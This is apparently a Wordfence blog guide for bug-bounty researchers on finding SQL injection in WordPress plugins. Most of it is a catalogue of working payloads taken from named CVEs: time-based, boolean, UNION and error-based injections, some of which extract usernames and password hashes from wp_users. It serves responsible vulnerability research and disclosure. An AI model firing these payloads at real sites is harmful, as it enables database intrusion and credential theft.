Based on analysis of 83 real-world WordPress SQL injection vulnerabilities from the Wordfence Threat Intelligence database, certain payload patterns consistently appear in successful exploits. Reviewing and understanding these common payloads and their usage context should help you craft your own proof-of-concept payloads during dynamic testing.

Time-Based Blind SQL Injection Payloads

Time-based payloads are the most common for demonstrating SQL injection in WordPress, as they work regardless of whether the application returns data or errors.

Basic SLEEP() Payloads:

-- Numeric context
1 AND SLEEP(5)                    -- Common pattern found in multiple CVEs
1 OR SLEEP(5)                     -- Common pattern found in multiple CVEs
1) AND SLEEP(10)-- -              -- From CVE-2024-4295 (Icegram Express)
1 AND (SELECT SLEEP(10))-- -      -- Common pattern found in multiple CVEs
2 OR sleep(5)                     -- From CVE-2024-8679 (Library Management System)

-- String context  
' OR SLEEP(5)-- -                 -- Common pattern found in multiple CVEs
") OR SLEEP(5)-- -                -- Common pattern found in multiple CVEs
1') AND SLEEP(10); --             -- From CVE-2024-4295 (Icegram Express)

-- ORDER BY context
user_login, SLEEP(5)              -- Common pattern found in multiple CVEs
id,(SELECT SLEEP(10))-- -         -- From CVE-2024-11730 (KiviCare)
event_title OR SLEEP(10)--        -- From CVE-2022-46859 (Spiffy Calendar)
  

Nested SELECT Variations:

-- Common pattern from real vulnerabilities
1 OR (SELECT * FROM (SELECT(SLEEP(5)))x)         -- From CVE-2024-10856 (Booking Calendar WpDevArt)
1 AND (SELECT 1 FROM (SELECT SLEEP(10))x)        -- Common pattern found in multiple CVEs
(SELECT SLEEP(1))                                -- From CVE-2024-11722 (Frontend Admin by DynamiApps)
post=1452 or (select 1 from (select sleep(10))x ) -- From CVE-2024-12031 (Advanced Floating Content)
  

IN Clause Exploitation:

-- From CVE-2024-12635
1 AND post_type IN (SLEEP(5))
  
💡 Pro tip: Always test with different sleep durations (5-10 seconds) to confirm the delay is from your payload, not network latency.

Boolean-Based Blind SQL Injection Payloads

Boolean-based payloads help extract data character by character when time-based methods are too slow.

Basic Boolean Tests:

-- Testing true/false conditions
2 OR 1  -- Returns results if vulnerable              -- From CVE-2024-8679 (Library Management System)
value=2+OR+1                                          -- From CVE-2024-8679 (Library Management System)

-- ASCII character extraction
1 AND (SELECT ASCII(SUBSTRING((SELECT USER()),1,1))=100)  -- From CVE-2024-8679 (Library Management System)
1 AND (SELECT ASCII(SUBSTRING((SELECT USER()),2,1))=101)  -- From CVE-2024-8679 (Library Management System)
  

UNION-Based SQL Injection Payloads

UNION attacks allow direct data extraction when the query results are displayed. The key is matching the number of columns in the original query.

Real-World UNION Examples:

-- From CVE-2023-5435 (Up down image slideshow gallery)
' UNION SELECT 'path', 'link', user_login, NULL FROM wp_users WHERE ID=1 LIMIT 1 #

-- From CVE-2024-11460 (Verowa Connect)
z%22 or 1=1 union select 1,2,'2024-11-19 10:28:31','2024-11-19 10:28:31',null,null,null,0,null,null,null,'2024-11-19 10:28:31','2024-11-19 10:28:31',0,0;#

-- From CVE-2024-2831 (Calendar plugin)
1) UNION ALL SELECT 1,2,3,(select group_concat(user_pass) from wp_users),5,6,7,8,9,10,11,('Normal'

-- From CVE-2024-3067 (WooCommerce Google Feed Manager)
3333 union select 1111111,2111111,3111111,411111,511111,61111,concat(char(34),char(62)...),81111,91111
  

Error-Based SQL Injection Payloads

Error-based payloads force the database to reveal information through error messages. These are particularly effective when WordPress debug mode is enabled.

Floor-Based Double Query (from CVE-2024-11722):

    1 AND (SELECT 2660 FROM(SELECT COUNT(*),CONCAT(0x7178716271,(SELECT MID((IFNULL(CAST(user_login AS NCHAR),0x20)),1,51) FROM wordpress_db.wp_users ORDER BY user_pass LIMIT 1,1),0x71766b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  

Understanding the Floor-Based Double Query Technique:

This complex payload deserves an explanation. The researcher who submitted this included a simple time-based injection payload, but also wanted to demonstrate extraction of the usernames and passwords from the wp_users table via a fully automated Python exploit:

  1. The Core Mechanism: This technique exploits MySQL’s GROUP BY behavior with RAND() and FLOOR() to trigger a duplicate key error that contains our desired data.
  2. Breaking Down the Components:
    • 0x7178716271 and 0x71766b6a71 – Hex markers (qxqbq and qvkjq1) to identify extracted data in the error
    • SELECT MID((IFNULL(CAST(user_login AS NCHAR),0x20)),1,51) – Extracts up to 51 characters of the username
    • FLOOR(RAND(0)*2) – Creates a predictable sequence that causes duplicate key errors
    • GROUP BY x – Triggers the error when duplicate keys are generated
  3. How It Works:
    • The query intentionally creates a scenario where MySQL tries to insert duplicate values during grouping
    • This triggers an error message like: Duplicate entry 'qxqbqadminqvkjq1' for key 'group_key'
    • The admin username appears between the hex markers (qxqbq and qvkjq1) in the error message
  4. Extracting Different Data:
-- Extract password hash (from the same CVE)
1 AND (SELECT 7491 FROM(SELECT COUNT(*),CONCAT(0x7178716271,(SELECT MID((IFNULL(CAST(user_pass AS NCHAR),0x20)),1,51) FROM wordpress_db.wp_users ORDER BY user_pass LIMIT 1,1),0x71766b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  
💡 For Wordfence Bug Bounty: A simple SLEEP() demonstration is sufficient proof of SQL injection. You don’t need to extract actual data to receive a valid submission.

Simpler Error-Based Techniques:

-- ExtractValue method (forces XPath error)
AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))

-- UpdateXML method (forces XML error)
AND UPDATEXML(1,CONCAT(0x7e,(SELECT USER()),0x7e),1)
  

Context-Specific Payloads

Different injection contexts require different payload structures:

Shortcode Attributes:

-- From CVE-2024-10856 (Booking Calendar)
[wpdevart_booking_calendar id="1 OR (SELECT * FROM (SELECT(SLEEP(5)))wp_users)"]
[wpdevart_booking_calendar id="1 AND (SELECT SLEEP(10));-- -"]
    

-- From CVE-2023-5435 (Up down image slideshow)
[up-slideshow type="' UNION SELECT 'path', 'link', user_login, NULL FROM wp_users WHERE ID=1 LIMIT 1 #"]
    

-- From CVE-2022-45820 (LearnPress)
[learn_press_recent_courses order=",(select sleep(20))" limit="1"]
    

-- From CVE-2024-7150 (Widget Options)
[wds id='1" OR (SELECT SLEEP(10)) -- ']
  

JSON/Base64 Encoded Contexts (from CVE-2024-4295):

    {"[contact_id":"7","email":"wordfence_1337@gmail.com]
    (mailto:contact_id%22:%227%22,%22email%22:%22wordfence_1337@gmail.com)","guid":"1","message_id":"1","campaign_id":"1","list_ids":"1) AND SLEEP(10); -- "}
  

Base64-encoded: eyJjb250YWN0X2lkIjoiNyIsImVtYWlsIjoid29yZGZlbmNlXzEzMzdAZ21haWwuY29tIiwiZ3VpZCI6IjEiLCJtZXNzYWdlX2lkIjoiMSIsImNhbXBhaWduX2lkIjoiMSIsImxpc3RfaWRzIjoiMSkgQU5EIFNMRUVQKDEwKTsgLS0gIn0=

ORDER BY Clauses:

-- Direct injection
orderby=event_title+OR+SLEEP%2810%29--+               -- From CVE-2022-46859 (Spiffy Calendar)
orderby=(SELECT%20SLEEP(1)%20)%20--                       -- From CVE-2024-11722 (Frontend Admin by DynamiApps)

-- JSON format for AJAX endpoints
sort[]={"field":"id,(select+sleep(10))--+-","type":"1"}  -- From CVE-2024-11730 (KiviCare)
  

AJAX Action Parameters:

-- From CVE-2024-0685 (Ninja Forms - Second Order SQLi)
QuiRkyEmAil'/**/OR/**/1!='@email.com

-- From CVE-2024-2661 (Barcode Scanner)
currentIds[]=(CASE WHEN (6754=6754) THEN SLEEP(1) ELSE 6754 END)
  

REST API Endpoints:

-- From CVE-2024-11460 (Verowa Connect)
/index.php?rest_route=/verowa/v1/agenda_event/1234&search_string=z%%22%20or%201=1%20union%20select%201,2,%272024-11-19%2010:28:31%27,%272024-11-19%2010:28:31%27,null,null,null,0,null,null,null,%272024-11-19%2010:28:31%27,%272024-11-19%2010:28:31%27,0,0;%23
  

WordPress-Specific Considerations

  1. Comment Syntax: Always use -- - (with extra dash or space) instead of -- to ensure the comment works across different contexts.
  2. Authentication Levels: Many vulnerabilities require different authentication levels:
    • Unauthenticated (most severe)
    • Subscriber-level
    • Contributor-level
    • Author-level
    • Editor-level
    • Administrator-level

Crafting Effective Payloads

When developing SQL injection payloads:

  1. Start Simple: Begin with basic time-based payloads like SLEEP(5)
  2. Consider Context: Adapt your payload to the injection point (numeric, string, ORDER BY, shortcode)
  3. Handle Encoding: Some contexts require URL encoding, Base64, or JSON escaping
  4. Test Incrementally: Verify each step works before building complex queries
  5. Use Comments Creatively: /**/, for example, can replace spaces when needed
  6. Document Everything: Keep notes on which payloads work for your report

Real-World Exploit Patterns

From our analysis, the most successful SQL injection exploits in WordPress typically:

  • Target shortcode attributes (very common attack vector)
  • Use time-based blind techniques for the proof-of-concept
  • Exploit ORDER BY clauses without quotes
  • Leverage AJAX actions with insufficient authorization
  • Take advantage of direct concatenation in plugin queries

Writing an Excellent SQLi Report to Submit

Check out our Writing an Excellent XSS Report to Submit section on the How To Find XSS (Cross-Site Scripting) Vulnerabilities in WordPress Plugins and Themes blog post to get an idea of what you should include in your SQL injection report.

Keep your report concise, but detailed enough for vulnerability analysts to reproduce. This means not only including a proof-of-concept exploit, but also the vulnerable code location (file, line number), an explanation of why the code is vulnerable (an explanation of the data flow from source to sink is ideal), and including environmental information (e.g. MySQL version, plugin configuration, etc.) if exploitation is limited to certain environments or configurations. Oftentimes if one SQL injection is found, it’s likely that the same pattern is used elsewhere in the software. It’s important to ensure you are doing a full review of the code. If other functions that use the vulnerable functionality are found, you may be eligible for the Wordfence Bug Bounty program Affects Multiple Functions bonus.

Focusing on High Impact SQLi Vulnerabilities

When searching for SQL Injection vulnerabilities in WordPress plugins and themes, an emphasis should be placed on high-impact vulnerabilities that pose a real-world risk to site owners. High-impact SQL Injection vulnerabilities typically allow unauthenticated threat actors or threat actors with minimal permissions (such as subscribers) to expose sensitive information from a WordPress site.

Our data shows that these types of vulnerabilities are far more likely to be exploited by threat actors than SQL Injection vulnerabilities that require contributor-, author-, editor-, or admin-level privileges. Unauthenticated and subscriber-level SQL Injection also have higher payouts in the Wordfence Bug Bounty Program due to their increased likelihood of exploitation. Check out the Rewards tab of our Bug Bounty Program page to calculate payouts for these vulnerabilities.

Conclusion

SQL injection remains a critical vulnerability in the WordPress ecosystem, ranking as the fourth most common vulnerability type in 2024. Despite WordPress providing robust security APIs through $wpdb->prepare() and other functions, developers continue to introduce these vulnerabilities through direct concatenation, misuse of sanitization functions, and incorrect query construction.

Through this guide, you’ve learned to identify the common patterns that lead to SQL injection, from the obvious (direct concatenation) to the subtle (misused esc_sql() without quotes). You now have a systematic methodology for hunting these vulnerabilities and real-world payloads derived from 83 publicly disclosed vulnerabilities to aid in your testing.

Remember: Focus your efforts on high-impact vulnerabilities accessible to unauthenticated users or low-privilege accounts. These pose the greatest risk to WordPress site owners and offer the highest rewards in bug bounty programs.

Now it’s time to put this knowledge into practice. Download a few WordPress plugins or themes, fire up your code editor, and start hunting. When you find your first SQL injection vulnerability, report it responsibly through the Wordfence Bug Bounty Program where you can earn up to $31,200 per vulnerability while helping secure millions of WordPress sites. Happy hunting!

The post How To Find SQL Injection Vulnerabilities in WordPress Plugins and Themes appeared first on Wordfence.

Leave a Comment